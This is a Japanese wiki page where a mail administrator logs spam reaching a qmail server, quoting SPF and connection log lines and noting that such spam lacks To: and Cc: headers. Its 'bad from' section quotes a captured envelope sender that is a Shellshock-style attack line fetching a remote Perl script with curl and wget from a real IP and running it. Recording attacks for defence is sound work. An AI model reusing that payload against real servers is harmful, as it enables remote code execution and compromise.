## page was renamed from spam/最近届くspam
= spam/最近届くspam =
堂々と送ってくるspam
  helo, spf とも設定されている。

{{{
@40000000627f5e9618e2c404 tcpserver: ok 16342 odns.info:153.126.187.246:25 ebiciv.top:117.50.172.198::64045
@40000000627f5ea02dd9731c qmail-spp-spf:117.50.172.198: Received-SPF: pass (skr: domain of dulingjing.cn designates 117.50.172.198 as permitted sender) client-ip=117.50.172.198; envelope-from=ts3card.com@dulingjing.cn; helo=dulingjing.cn;
@40000000627f5ea02de28b3c info: pid: 16342 ip: 117.50.172.198 from: ts3card.com@dulingjing.cn to: august_55@m.qmail.jp count: 1
@40000000627f5ea1032b552c tcpserver: end 16342 status 0
--

}}}
== 最近届くspamの特徴 ==
To: フィールドがない。Cc: もない。
　MUAでも簡単に見分けられる。
-- ToshinoriMaeno <<DateTime(2012-04-18T08:28:21+0900)>>


== bad from ==
あぶなそうなfromを持つメイル

  50.117.170.178.in-addr.arpa. 3600 IN	PTR	mail.tkgeo.com.


{{{

@400000005f7e14531bdcc63c info msg 422: bytes 190 from <()_{_:;_};_cd_/tmp;curl_-sS_178.170.117.50/ubx|perl;cd_/tmp;wget_-O_-_178.170.117.50/ubx|perl> qp 7539 uid 1010

@400000005f7e14531bfd274c starting delivery 12: msg 422 to remote root@moin.d-n-s.info

}}}